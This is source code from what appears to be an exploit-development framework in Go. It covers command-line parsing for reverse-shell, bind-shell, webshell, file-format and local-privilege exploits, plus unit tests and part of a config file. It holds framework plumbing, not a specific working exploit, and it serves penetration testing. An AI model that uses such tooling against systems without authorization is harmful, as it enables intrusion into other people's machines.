		output.PrintFrameworkError("Please provide an action (-v, -c, -e)")

		return false
	case conf.SSL && conf.DetermineSSL:
		output.PrintFrameworkError("-a and -s are mutually exclusive")

		return false
	}

	// the user can also specify '-' for stdin which can't be used with os.Stat
	if len(rhostsFile) != 0 && rhostsFile != "-" {
		_, err := os.Stat(rhostsFile)
		if err != nil {
			output.PrintfFrameworkError("Failed to stat %s: %s", rhostsFile, err)

			return false
		}
	}

	return true
}

// command line options for proxying.
func proxyFlags(proxy *string) {
	flag.StringVar(proxy, "proxy", "", "A proxy that will be used for all communication")
}

// Go can automatically handle HTTP proxying (if HTTP_PROXY env is set) and it can automatically
// handle HTTPS proxying (if HTTPS_PROXY env is set). It can't handle normal tcp socket proxying
// though, so we'll set ALL_PROXY for that (and handle the logic in protocol/tcpsocket.go).
func handleProxyOptions(proxy string) {
	if len(proxy) == 0 {
		return
	}
	os.Setenv("HTTP_PROXY", proxy)
	os.Setenv("HTTPS_PROXY", proxy)
	os.Setenv("ALL_PROXY", proxy)
}

// command line options for logging.
func loggingFlags(logFile *string, frameworkLogLevel *string, exploitLogLevel *string) {
	flag.BoolVar(&output.FormatJSON, "log-json", false, "Indicates if logging should use JSON")
	flag.StringVar(logFile, "log-file", "", "The file to write log messages to.")

	logLevels := ""
	for key := range output.LogLevels {
		logLevels += "\n" + key
	}

	flag.StringVar(frameworkLogLevel, "fll", "STATUS", "The minimum log level for the framework:"+logLevels)
	flag.StringVar(exploitLogLevel, "ell", "STATUS", "The minimum log level for the exploit:"+logLevels)
}

func handleLogOptions(logFile string, frameworkLogLevel string, exploitLogLevel string) bool {
	value, found := output.LogLevels[frameworkLogLevel]
	if !found {
		output.PrintFrameworkError("Invalid framework log level provided")

		return false
	}
	output.SetFrameworkLogLevel(value)

	value, found = output.LogLevels[exploitLogLevel]
	if !found {
		output.PrintFrameworkError("Invalid exploit log level provided")

		return false
	}
	output.SetExploitLogLevel(value)

	if len(logFile) != 0 && !output.SetOutputFile(logFile) {
		return false
	}

	return true
}

// command line flags for defining the remote host.
func remoteHostFlags(conf *config.Config, rhosts *string, rhostsFile *string, rports *string) {
	flag.StringVar(&conf.Rhost, "rhost", "", "The remote target's IP address")
	flag.StringVar(rhosts, "rhosts", "", "A comma delimited list of remote target IP addresses")
	flag.StringVar(rhostsFile, "rhosts-file", "", "A CSV file or stdin with a list of targets")
	// the Rport should be pre-configured to have a default value (see config.go:New())
	flag.IntVar(&conf.Rport, "rport", conf.Rport, "The remote target's server port")
	flag.StringVar(rports, "rports", "", "A comma delimited list of the remote target's server ports")
	// generic all comms connection timeout
	flag.IntVar(&protocol.GlobalCommTimeout, "timeout", 10, "A default timeout for all socket communication")
	// allow the user to use their own HTTP user-agent if they so wish
	flag.StringVar(&protocol.GlobalUA, "user-agent", protocol.GlobalUA, "The User-Agent to use in HTTP requests")
}

// command line flags for defining the local host.
func localHostFlags(conf *config.Config) {
	flag.StringVar(&conf.Lhost, "lhost", "", "The IP address the configured c2 will bind to")
	flag.IntVar(&conf.Lport, "lport", 0, "The port the configured c2 will bind to")
}

// command line flags that control the exploits behavior.
func exploitFunctionality(conf *config.Config) {
	flag.BoolVar(&conf.DoVerify, "v", false, "Verify the target is "+conf.Product)
	flag.BoolVar(&conf.DoVersionCheck, "c", false, "Perform a version check before attempting exploitation")
	flag.BoolVar(&conf.DoExploit, "e", false, "Exploit the target")
}

// command line flags that control ssl communication with the target.
func sslFlags(conf *config.Config) {
	flag.BoolVar(&conf.SSL, "s", false, "Use https to communicate with the target")
	flag.BoolVar(&conf.DetermineSSL, "a", false, "Automatically determine if the remote target uses SSL")
}

// Allow the user to provide the `-db` command to share content across exploits and limit the size of the HTTP cache.
func dbFlags(conf *config.Config) {
	flag.StringVar(&conf.DBName, "db", "", "An SQLite3 DB to share target data across")
	flag.IntVar(&db.GlobalHTTPRespCacheLimit, "cacheMax", 10*(1024*1024), "The maximum size of an HTTP response that can be cached")
}

// handle generic sounding c2 flags.
func c2Flags(c2Selection *string, conf *config.Config) {
	flag.BoolVar(&conf.ThirdPartyC2Server, "o", false, "Indicates if the reverse shell should be caught by an outside program (nc, openssl)")

	if len(conf.SupportedC2) == 0 {
		// the implementing exploit doesn't support any c2, just exit
		return
	}

	c2Default := conf.SupportedC2[0].Name
	c2Available := "The C2 server implementation to use. Supported: "
	for _, value := range conf.SupportedC2 {
		c2Name := value.Name
		c2Available += "\n\t" + c2Name

		// add the supported c2 flags, allowing for command line config of the backend
		impl, success := c2.GetInstance(value)
		if success {
			impl.CreateFlags()
		}
	}
	c2Available += "\n"
	flag.StringVar(c2Selection, "c2", c2Default, c2Available)

	// flags unique to remote code execution
	flag.IntVar(&conf.Bport, "bport", 0, "The port to attach the bind shell to")

	// checks if the default values have been changed in the exploit directly
	if conf.C2Timeout != 30 && conf.C2Timeout != 0 {
		flag.IntVar(&conf.C2Timeout, "t", conf.C2Timeout, "The number of seconds to listen for reverse shells.")
	} else {
		flag.IntVar(&conf.C2Timeout, "t", 30, "The number of seconds to listen for reverse shells.")
	}
}

// loop through the c2 the exploit supports and find the one the user actually selected.
func validateC2Selection(c2Selection string, conf *config.Config) bool {
	c2Selected, ok := c2.StringToImpl(c2Selection)
	if !ok {
		output.PrintFrameworkError("The user provided an invalid c2 implementation")

		return false
	}
	// is this a supported c2?
	foundSupported := false
	for _, value := range conf.SupportedC2 {
		if c2Selected == value {
			foundSupported = true
		}
	}
	if !foundSupported {
		output.PrintFrameworkError("The c2 you selected is not supported by this exploit.")

		return false
	}
	conf.C2Type = c2Selected

	return true
}

// Print the details of the implementation to the configured log.
func printDetails(conf *config.Config) {
	supportedC2Strings := make([]string, 0)
	for _, value := range conf.SupportedC2 {
		supportedC2Strings = append(supportedC2Strings, value.Name)
	}
	supportedPayloadsStrings := make([]string, 0)
	for _, value := range conf.SupportedPayloads {
		supportedPayloadsStrings = append(supportedPayloadsStrings, value.String())
	}
	customFlags := make([]CustomFlag, 0)
	for key, value := range conf.StringFlagsMap {
		customFlags = append(customFlags, CustomFlag{
			Name:    key,
			Type:    fmt.Sprintf("%T", *value),
			Default: *value,
		})
	}
	for key, value := range conf.UintFlagsMap {
		customFlags = append(customFlags, CustomFlag{
			Name:    key,
			Type:    fmt.Sprintf("%T", *value),
			Default: strconv.FormatUint(uint64(*value), 10),
		})
	}
	for key, value := range conf.IntFlagsMap {
		customFlags = append(customFlags, CustomFlag{
			Name:    key,
			Type:    fmt.Sprintf("%T", *value),
			Default: strconv.Itoa(*value),
		})
	}
	for key, value := range conf.BoolFlagsMap {
		customFlags = append(customFlags, CustomFlag{
			Name:    key,
			Type:    fmt.Sprintf("%T", *value),
			Default: strconv.FormatBool(*value),
		})
	}

	output.PrintSuccess("Implementation Details",
		"ExploitType", fmt.Sprintf("%v", conf.ExType),
		"AssetDetection", conf.Impl.AssetDetection,
		"VersionScanner", conf.Impl.VersionScanning,
		"Exploitation", conf.Impl.Exploitation,
		"SupportedC2", supportedC2Strings,
		"SupportedPayloads", supportedPayloadsStrings,
		"Vendor", conf.Vendor,
		"Products", conf.Products,
		"CPE", conf.CPE,
		"CVE", conf.CVE,
		"Protocol", conf.Protocol,
		"DefaultPort", conf.Rport,
		"CustomFlags", customFlags,
	)
}

// Parses the command line arguments used by RCE exploits.
func CodeExecutionCmdLineParse(conf *config.Config) bool {
	var rhosts string
	var rhostsFile string
	var rports string
	var logFile string
	var frameworkLogLevel string
	var exploitLogLevel string
	var proxy string
	var c2Selection string

	dbFlags(conf)
	proxyFlags(&proxy)
	loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
	remoteHostFlags(conf, &rhosts, &rhostsFile, &rports)
	localHostFlags(conf)
	exploitFunctionality(conf)
	sslFlags(conf)
	c2Flags(&c2Selection, conf)
	addPayloadFlags(conf)
	detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")

	flag.Usage = func() {
		// banner explaining what the software is
		fmt.Printf("An exploit for %s %s that can generate a reverse shell or bind shell\n\n", conf.Product, conf.CVE)

		// print default usage information
		flag.PrintDefaults()
	}
	flag.Parse()

	if *detailsFlag {
		printDetails(conf)

		return false
	}
	handleProxyOptions(proxy)

	// validate remaining command line arguments
	success := handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) &&
		commonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile)

	// validate a reverse shell or bind shell params are correctly specified
	if conf.DoExploit {
		success = validateC2Selection(c2Selection, conf)

		if rhostsFile == "-" {
			// this is a pretty dirty check but c2 that use stdin can't be used after piping targets in
			if conf.C2Type == c2.SimpleShellServer || conf.C2Type == c2.SimpleShellClient ||
				conf.C2Type == c2.HTTPServeShell || conf.C2Type == c2.SSLShellServer {
				output.PrintFrameworkError("Piping targets via stdin cannot be paired with c2 that uses stdin")
				success = false
			}
		}

		if conf.Bport == 0 && (conf.Lport == 0 || len(conf.Lhost) == 0) && conf.C2Type.Category != c2.ExternalCategory {
			output.PrintFrameworkError("Missing exploitation options (bindshell or reverse shell)")
			success = false
		}
		if conf.Bport != 0 && conf.Lport != 0 {
			output.PrintFrameworkError("User specified both bind shell and reverse shell ports")
			success = false
		}
	}

	return success
}

func InformationDisclosureCmdLineParse(conf *config.Config) bool {
	var rhosts string
	var rhostsFile string
	var rports string
	var logFile string
	var frameworkLogLevel string
	var exploitLogLevel string
	var proxy string

	dbFlags(conf)
	proxyFlags(&proxy)
	loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
	remoteHostFlags(conf, &rhosts, &rhostsFile, &rports)
	localHostFlags(conf)
	exploitFunctionality(conf)
	sslFlags(conf)
	addPayloadFlags(conf)
	detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")

	flag.Usage = func() {
		// banner explaining what the software is
		fmt.Printf("An exploit for %s %s that can leak sensitive data\n\n", conf.Product, conf.CVE)

		// print default usage information
		flag.PrintDefaults()

		// usage examples
		fmt.Println("Usage example:")
		fmt.Println("\t./exploit -v -c -e -a -rhost 10.12.70.247 -rport 443")
	}
	flag.Parse()

	if *detailsFlag {
		printDetails(conf)

		return false
	}
	handleProxyOptions(proxy)

	return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) &&
		commonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile)
}

func WebShellCmdLineParse(conf *config.Config) bool {
	var rhosts string
	var rhostsFile string
	var rports string
	var logFile string
	var frameworkLogLevel string
	var exploitLogLevel string
	var proxy string

	dbFlags(conf)
	proxyFlags(&proxy)
	loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
	remoteHostFlags(conf, &rhosts, &rhostsFile, &rports)
	localHostFlags(conf)
	exploitFunctionality(conf)
	sslFlags(conf)
	addPayloadFlags(conf)
	detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")

	flag.Usage = func() {
		// banner explaining what the software is
		fmt.Printf("An exploit for %s %s that drops a webshell\n\n", conf.Product, conf.CVE)

		// print default usage information
		flag.PrintDefaults()

		// usage examples
		fmt.Println("Usage example:")
		fmt.Println("\t./exploit -v -c -e -a -rhost 10.12.70.247 -rport 443")
	}
	flag.Parse()

	if *detailsFlag {
		printDetails(conf)

		return false
	}
	handleProxyOptions(proxy)

	return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) &&
		commonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile)
}

func loadFileFormatTemplate(templateFilePath string, conf *config.Config) bool {
	if len(templateFilePath) == 0 {
		// the user doesn't have to provide an -in. There are plenty of scenarios where I could imagine
		// the template would be embedded in the exploit. That seems fine to me.
		return true
	}

	fileTemplate, err := os.Open(templateFilePath)
	if err != nil {
		output.PrintfFrameworkError("Failed to open the template file: %s", err.Error())

		return false
	}
	defer fileTemplate.Close()

	content, err := io.ReadAll(fileTemplate)
	if err != nil {
		output.PrintfFrameworkError("Failed to read the template file: %s", err.Error())

		return false
	}

	conf.FileTemplateData = string(content)
	if len(conf.FileTemplateData) == 0 {
		output.PrintfFrameworkError("The template file was empty")

		return false
	}

	return true
}

// FileFormat doesn't handle any type of remote host configuration. FileFormat exploits just
// take an -in and -out, where "in" is expected to be some type of template and "out" is
// the file to generate.
func FormatFileCmdLineParse(conf *config.Config) bool {
	var logFile string
	var frameworkLogLevel string
	var exploitLogLevel string
	var templateFile string
	var c2Selection string

	loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
	localHostFlags(conf)
	exploitFunctionality(conf)
	c2Flags(&c2Selection, conf)
	addPayloadFlags(conf)
	detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")
	flag.StringVar(&templateFile, "in", "", "The file format template to work with")
	flag.StringVar(&conf.FileFormatFilePath, "out", "", "The file to write the malicious file to")

	flag.Usage = func() {
		// banner explaining what the software is
		fmt.Printf("An exploit for %s %s that crafts a malicious file\n\n", conf.Product, conf.CVE)

		// print default usage information
		flag.PrintDefaults()

		// usage examples
		fmt.Println("Usage example:")
		fmt.Println("\t./exploit -e -in <file> -out <file>")
	}
	flag.Parse()

	if *detailsFlag {
		printDetails(conf)

		return false
	}

	if !loadFileFormatTemplate(templateFile, conf) {
		return false
	}
	if len(conf.FileFormatFilePath) == 0 {
		output.PrintFrameworkError("Must provide an -out parameter")

		return false
	}
	if !conf.DoExploit {
		output.PrintFrameworkError("Exploitation must be invoked for file format exploits")

		return false
	}
	if conf.DoVerify || conf.DoVersionCheck {
		output.PrintFrameworkError("Verification and version checking are disabled for file format exploits")

		return false
	}

	// must be validate (to set default for payload gen) and then check third party c2
	if !validateC2Selection(c2Selection, conf) {
		return false
	}

	if conf.Lport == 0 || len(conf.Lhost) == 0 {
		output.PrintFrameworkError("Missing exploitation options (-Lhost or -Lport)")

		return false
	}

	return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel)
}

func LocalCmdLineParse(conf *config.Config) bool {
	var logFile string
	var frameworkLogLevel string
	var exploitLogLevel string
	var c2Selection string

	loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
	localHostFlags(conf)
	exploitFunctionality(conf)
	c2Flags(&c2Selection, conf)
	addPayloadFlags(conf)
	detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")

	flag.Usage = func() {
		// banner explaining what the software is
		fmt.Printf("An exploit for %s %s that exploits a local vulnerability\n\n", conf.Product, conf.CVE)

		// print default usage information
		flag.PrintDefaults()

		// usage examples
		fmt.Println("Usage example:")
		fmt.Println("\t./exploit -e")
	}
	flag.Parse()

	if *detailsFlag {
		printDetails(conf)

		return false
	}

	// must be validate (to set default for payload gen) and then check third party c2
	if !conf.ThirdPartyC2Server && !validateC2Selection(c2Selection, conf) {
		return false
	}

	// For LPE exploits that don't need C2 (e.g., info disclosure, token theft), skip lhost/lport check
	// if the exploit is configured with no C2 support or third party server
	if !conf.ThirdPartyC2Server && len(conf.SupportedC2) > 0 && (conf.Lport == 0 || len(conf.Lhost) == 0) {
		output.PrintFrameworkError("Missing exploitation options (-lhost or -lport)")

		return false
	}

	return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel)
}

func addDefaultPayloadFlags(conf *config.Config) (string, string, map[payload.Type]int, []string, []string) {
	if len(conf.SupportedPayloads) == 1 {
		conf.SupportedPayloads[0].Default = payload.Default
	}
	hasDefault := false
	defaultType := ""
	defaultArch := ""
	typeOptions := []string{}
	archOptions := []string{}
	count := map[payload.Type]int{}
	for i, supported := range conf.SupportedPayloads {
		switch supported.Type {
		case payload.LinuxCommand,
			payload.WindowsCommand,
			payload.WindowsPowerShellCommand,
			payload.MacCommand,
			payload.GenericCommand:
			_, exists := conf.StringFlagsMap["command"]
			if !exists {
				conf.CreateStringFlag("command", "", "Command to use for the exploit, an empty string will use the exploit default.")
			}
		case payload.LinuxELF,
			payload.LinuxSO,
			payload.WindowsEXE,
			payload.WindowsDLL,
			payload.Webshell:
			_, exists := conf.StringFlagsMap["payload"]
			if !exists {
				conf.CreateStringFlag("payload", "", "Path to load custom payload from, an empty string will use the exploit default.")
			}
		case payload.UnspecifiedType:
			output.PrintFrameworkError("Unspecified payload type used")
		default:
			output.PrintFrameworkError("Unexpected payload type used")
		}

		count[supported.Type]++
		typeOptions = append(typeOptions, supported.Type.String())
		archOptions = append(archOptions, supported.Arch.String())
		if i == 0 && len(conf.SupportedPayloads) == 1 {
			defaultType = supported.Type.String()
			defaultArch = supported.Arch.String()

			continue
		}
		if hasDefault && supported.Default == payload.Default {
			output.PrintfFrameworkWarn("Multiple default payloads selected, using the first and skipping: %s", supported.Type.String())

			continue
		}
		if !hasDefault && supported.Default == payload.Default {
			defaultType = supported.Type.String()
			defaultArch = supported.Arch.String()
		}
	}

	return defaultType, defaultArch, count, typeOptions, archOptions
}

// Adds default flags for payload types, this allows classes of payloads that are supported to
// use globally defined command line flags without having to redefine them each exploit.
func addPayloadFlags(conf *config.Config) {
	if conf.PayloadFlags {
		defaultType, defaultArch, count, typeOptions, archOptions := addDefaultPayloadFlags(conf)
		if len(conf.SupportedPayloads) > 1 {
			if defaultType == "" {
				output.PrintFrameworkError("No default payload type was defined.")
			}
			conf.CreateStringFlag("payload-type", defaultType, "Payload type to use based on supported types: "+strings.Join(typeOptions, ", "))
			for _, v := range count {
				if v > 1 {
					conf.CreateStringFlag("payload-arch", defaultArch, "Payload architecture to use based on supported archs: "+strings.Join(archOptions, ", "))

					break
				}
			}
		}
	}
}


================================================
FILE: cli/commandline_test.go
================================================
package cli

import (
	"strings"
	"testing"

	"github.com/vulncheck-oss/go-exploit/c2"
	"github.com/vulncheck-oss/go-exploit/config"
)

func TestCodeExecutionCmdLineParse(t *testing.T) {
	conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)
	conf.Rhost = "rcetest"

	success := CodeExecutionCmdLineParse(conf)

	if conf.Rhost != "" {
		t.Fatal("Rhost should have no default value")
	}
	if conf.Rport != 1270 {
		t.Fatal("Rport should default to passed in value")
	}
	if conf.SSL != false {
		t.Fatal("SSL should default to false")
	}
	if conf.DoVerify != false {
		t.Fatal("verify should default to false")
	}
	if conf.DoVersionCheck != false {
		t.Fatal("version check should default to false")
	}
	if conf.DoExploit != false {
		t.Fatal("exploit should default to false")
	}
	if success != false {
		t.Fatal("parsing should have failed")
	}
	if conf.ThirdPartyC2Server != false {
		t.Fatal("outside should default to false")
	}
	if conf.C2Timeout != 30 {
		t.Fatal("timeout should default to 30")
	}
}

func TestCommonValidate(t *testing.T) {
	conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)
	var rhosts string
	var rports string
	var rhostsFile string

	if commonValidate(conf, rhosts, rports, rhostsFile) {
		t.Fatal("commonValidate should fail with an empty Rhost")
	}

	conf.Rhost = "10.9.49.99"
	if commonValidate(conf, rhosts, rports, rhostsFile) {
		t.Fatal("commonValidate should fail with no supplied action")
	}

	conf.DoVerify = true
	if !commonValidate(conf, rhosts, rports, rhostsFile) {
		t.Fatal("commonValidate should succeed with rhost, rport, and doVerify")
	}

	conf.Rhost = ""
	if !commonValidate(conf, "127.0.0.1", "1270,1280", rhostsFile) {
		t.Fatal("commonValidate should have succeeded")
	}

	if !commonValidate(conf, "127.0.0.1,127.0.0.2", rports, rhostsFile) {
		t.Fatal("commonValidate have succeeded")
	}
}

func TestRhostsParsing(t *testing.T) {
	conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)

	if !handleRhostsOptions(conf, "127.0.0.1,127.0.0.2", "80,443", "") {
		t.Fatal("commonValidate should succeed")
	}
	if len(conf.RhostsNTuple) != 4 {
		t.Fatal("Failed to parse rhosts")
	}
	if conf.RhostsNTuple[0].Rhost != "127.0.0.1" || conf.RhostsNTuple[1].Rhost != "127.0.0.1" ||
		conf.RhostsNTuple[2].Rhost != "127.0.0.2" || conf.RhostsNTuple[3].Rhost != "127.0.0.2" {
		t.Fatal("Failed to parse rhosts")
	}
	if conf.RhostsNTuple[0].Rport != 80 || conf.RhostsNTuple[1].Rport != 443 {
		t.Fatal("Failed to parse rports")
	}
	conf.RhostsNTuple = make([]config.RhostTriplet, 0)

	if !handleRhostsOptions(conf, "127.0.0.3", "443", "") {
		t.Fatal("commonValidate should succeed")
	}
	if len(conf.RhostsNTuple) != 1 {
		t.Fatal("Failed to parse rhosts")
	}
	if conf.RhostsNTuple[0].Rhost != "127.0.0.3" {
		t.Fatal("Failed to parse rhosts")
	}
	if conf.RhostsNTuple[0].Rport != 443 {
		t.Fatal("Failed to parse rports")
	}
	conf.RhostsNTuple = make([]config.RhostTriplet, 0)

	conf.Rhost = "127.0.0.4"
	if !handleRhostsOptions(conf, "", "443,80,8080", "") {
		t.Fatal("commonValidate should succeed")
	}
	if len(conf.RhostsNTuple) != 3 {
		t.Fatal("Failed to parse rhosts")
	}
	if conf.RhostsNTuple[0].Rhost != "127.0.0.4" {
		t.Fatal("Failed to parse rhosts")
	}
	if conf.RhostsNTuple[0].Rport != 443 {
		t.Fatal("Failed to parse rports")
	}
	if conf.RhostsNTuple[1].Rport != 80 {
		t.Fatal("Failed to parse rports")
	}
	if conf.RhostsNTuple[2].Rport != 8080 {
		t.Fatal("Failed to parse rports")
	}
	conf.Rhost = ""

	conf.RhostsNTuple = make([]config.RhostTriplet, 0)
	if !handleRhostsOptions(conf, "192.168.1.0/24", "80", "") {
		t.Fatal("commonValidate should succeed")
	}
	if len(conf.RhostsNTuple) != 256 {
		t.Fatal("Failed to parse rhosts")
	}

	conf.RhostsNTuple = make([]config.RhostTriplet, 0)
	if !handleRhostsOptions(conf, "192.168.1.0/24", "80,8080", "") {
		t.Fatal("commonValidate should succeed")
	}
	if len(conf.RhostsNTuple) != 512 {
		t.Fatal("Failed to parse rhosts")
	}
}

func TestParseTuple(t *testing.T) {
	conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)

	if !parseTuple(conf, "example.com:80") {
		t.Fatal("ParseTuple should succeed")
	}
	if len(conf.RhostsNTuple) != 1 {
		t.Fatal("Missing Rhosts entry")
	}
	if conf.RhostsNTuple[0].Rport != 80 {
		t.Fatal("Invalid tuple parsing")
	}
	if conf.RhostsNTuple[0].Rhost != "example.com" {
		t.Fatal("Invalid tuple parsing")
	}

	conf.RhostsNTuple = make([]config.RhostTriplet, 0)
	if parseTuple(conf, "example.com") {
		t.Fatal("ParseTuple should have failed")
	}
	if parseTuple(conf, "example.com:hi") {
		t.Fatal("ParseTuple should have failed")
	}

	if !parseTuple(conf, "127.0.0.5:8080") {
		t.Fatal("ParseTuple should succeed")
	}
	if len(conf.RhostsNTuple) != 1 {
		t.Fatal("Missing Rhosts entry")
	}
	if conf.RhostsNTuple[0].Rport != 8080 {
		t.Fatal("Invalid tuple parsing")
	}
	if conf.RhostsNTuple[0].Rhost != "127.0.0.5" {
		t.Fatal("Invalid tuple parsing")
	}

	conf.RhostsNTuple = make([]config.RhostTriplet, 0)
	if !parseTuple(conf, "fe80::1b8c:b574:ebec:81c0:65531") {
		t.Fatal("ParseTuple should succeed")
	}
	if len(conf.RhostsNTuple) != 1 {
		t.Fatal("Missing Rhosts entry")
	}
	if conf.RhostsNTuple[0].Rport != 65531 {
		t.Fatal("Invalid tuple parsing")
	}
	if conf.RhostsNTuple[0].Rhost != "fe80::1b8c:b574:ebec:81c0" {
		t.Fatal("Invalid tuple parsing")
	}
}

func TestParseTriplet(t *testing.T) {
	conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)

	if !parseTriplet(conf, "example.com,80,") {
		t.Fatal("parseTriplet should succeed")
	}
	if len(conf.RhostsNTuple) != 1 {
		t.Fatal("Missing Rhosts entry")
	}
	if conf.RhostsNTuple[0].Rport != 80 {
		t.Fatal("Invalid triplet parsing")
	}
	if conf.RhostsNTuple[0].Rhost != "example.com" {
		t.Fatal("Invalid triplet parsing")
	}

	conf.RhostsNTuple = make([]config.RhostTriplet, 0)
	if parseTriplet(conf, "example.com,,") {
		t.Fatal("parseTriplet should have failed")
	}
	if parseTriplet(conf, "example.commhi,") {
		t.Fatal("parseTriplet should have failed")
	}

	if !parseTriplet(conf, "127.0.0.3,8080,") {
		t.Fatal("parseTriplet should succeed")
	}
	if len(conf.RhostsNTuple) != 1 {
		t.Fatal("Missing Rhosts entry")
	}
	if conf.RhostsNTuple[0].Rport != 8080 {
		t.Fatal("Invalid triplet parsing")
	}
	if conf.RhostsNTuple[0].Rhost != "127.0.0.3" {
		t.Fatal("Invalid triplet parsing")
	}

	conf.RhostsNTuple = make([]config.RhostTriplet, 0)
	if !parseTriplet(conf, "fe80::1b8c:b574:ebec:81c0,65531,") {
		t.Fatal("parseTriplet should succeed")
	}
	if len(conf.RhostsNTuple) != 1 {
		t.Fatal("Missing Rhosts entry")
	}
	if conf.RhostsNTuple[0].Rport != 65531 {
		t.Fatal("Invalid triplet parsing")
	}
	if conf.RhostsNTuple[0].Rhost != "fe80::1b8c:b574:ebec:81c0" {
		t.Fatal("Invalid triplet parsing")
	}
}

func TestParseIntelJSON(t *testing.T) {
	conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)

	intel := `{"ip":"10.9.49.2","port":80,"ssl":false,"lastSeen":"2024-02-18T23:56:34.454071","asn":"AS33915","country":"Netherlands","country_code":"NL","city":"Hoofddorp","cve":["CVE-2021-36260"],"matches":["Hikvision IP Camera Web Language Command Injection"],"hostnames":["89-220-147-28.cable.dynamic.v4.ziggo.nl"],"type":{"id":"initial-access","finding":"potentially vulnerable"},"feed_ids":["a65d5009-f84b-4c3d-8803-1f8b1246ddeb"]}`

	if !parseIPIntel(conf, intel) {
		t.Fatal("parseTriplet should succeed")
	}
	if len(conf.RhostsNTuple) != 1 {
		t.Fatal("Missing Rhosts entry")
	}
	if conf.RhostsNTuple[0].Rport != 80 {
		t.Fatal("Invalid triplet parsing")
	}
	if conf.RhostsNTuple[0].Rhost != "10.9.49.2" {
		t.Fatal("Invalid triplet parsing")
	}
	if conf.RhostsNTuple[0].SSL != config.SSLDisabled {
		t.Fatal("Invalid triplet parsing")
	}

	conf.RhostsNTuple = make([]config.RhostTriplet, 0)
	intel = `{"ip":"fe80::1b8c:b574:ebec:81c8","port":81,"ssl":true,"lastSeen":"2024-02-18T23:56:34.454071","asn":"AS33915","country":"Netherlands","country_code":"NL","city":"Hoofddorp","cve":["CVE-2021-36260"],"matches":["Hikvision IP Camera Web Language Command Injection"],"hostnames":["89-220-147-28.cable.dynamic.v4.ziggo.nl"],"type":{"id":"initial-access","finding":"potentially vulnerable"},"feed_ids":["a65d5009-f84b-4c3d-8803-1f8b1246ddeb"]}`
	if !parseIPIntel(conf, intel) {
		t.Fatal("parseTriplet should succeed")
	}
	if len(conf.RhostsNTuple) != 1 {
		t.Fatal("Missing Rhosts entry")
	}
	if conf.RhostsNTuple[0].Rport != 81 {
		t.Fatal("Invalid triplet parsing")
	}
	if conf.RhostsNTuple[0].Rhost != "fe80::1b8c:b574:ebec:81c8" {
		t.Fatal("Invalid triplet parsing")
	}
	if conf.RhostsNTuple[0].SSL != config.SSLEnabled {
		t.Fatal("Invalid triplet parsing")
	}
}

func TestFileFormatParams(t *testing.T) {
	conf := config.NewLocal(config.FileFormat, []c2.Impl{}, "test product", "CVE-2023-1270")
	if !loadFileFormatTemplate("", conf) {
		t.Fatal("an empty file path should pass validation")
	}
	if !loadFileFormatTemplate("commandline_test.go", conf) {
		t.Fatal("failed to load the file format template")
	}
	if !strings.Contains(conf.FileTemplateData, "TestFileFormatParams") {
		t.Fatal("failed to load the file format template")
	}
}


================================================
FILE: config/config.go
================================================
// Exploit and framework configuration.
package config

import (
	"bytes"
	"flag"
	"fmt"
	"strings"
	"text/template"

	"github.com/vulncheck-oss/go-exploit/c2"
	"github.com/vulncheck-oss/go-exploit/c2/shelltunnel"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/payload"
	"github.com/vulncheck-oss/go-exploit/protocol"
)

type ExploitType int

const (
	CodeExecution         ExploitType = 0
	InformationDisclosure ExploitType = 1
	Webshell              ExploitType = 2
	FileFormat            ExploitType = 3
	Local                 ExploitType = 4
)

type ImplementedFeatures struct {
	AssetDetection  bool
	VersionScanning bool
	Exploitation    bool
}

type SSLSupport int

const (
	SSLDisabled     SSLSupport = 0
	SSLEnabled      SSLSupport = 1
	SSLAutodiscover SSLSupport = 2
)

type RhostTriplet struct {
	Rhost string
	Rport int
	SSL   SSLSupport
}

// The config struct contains a mix of module specified configurations
// and user specified configurations. The Config struct is first generated
// by the exploit implementation and then modified by option parsing.
type Config struct {
	// the following are values configured by the exploit module

	// implemented features describes which three stages the exploit implements
	Impl ImplementedFeatures
	// the vendor of the targeted product
	Vendor string
	// the targeted products
	Products []string
	// A combination of the Vendor and Products strings
	Product string
	// the CPE for the targeted product
	CPE []string
	// the CVE being tested
	CVE string
	// the protocol being targeted
	Protocol string
	// the type of exploit being executed
	ExType ExploitType
	// the c2 supported by the exploit
	SupportedC2 []c2.Impl
	// the payload types that are supported by the exploit
	SupportedPayloads []payload.Supported
	// whether to parse payload flags
	PayloadFlags    bool
	SelectedPayload payload.Supported
	CustomPayload   []byte

	// Some exploits need to define custom flags. Use the Create*Flag functions
	// to store them in the following data structures. They can then be fetched
	// using the Get*Flag functions

	StringFlagsMap map[string]*string
	IntFlagsMap    map[string]*int
	UintFlagsMap   map[string]*uint
	BoolFlagsMap   map[string]*bool

	// the following are values configured by the user

	// target host, the target address/name the exploit will work on
	Rhost string
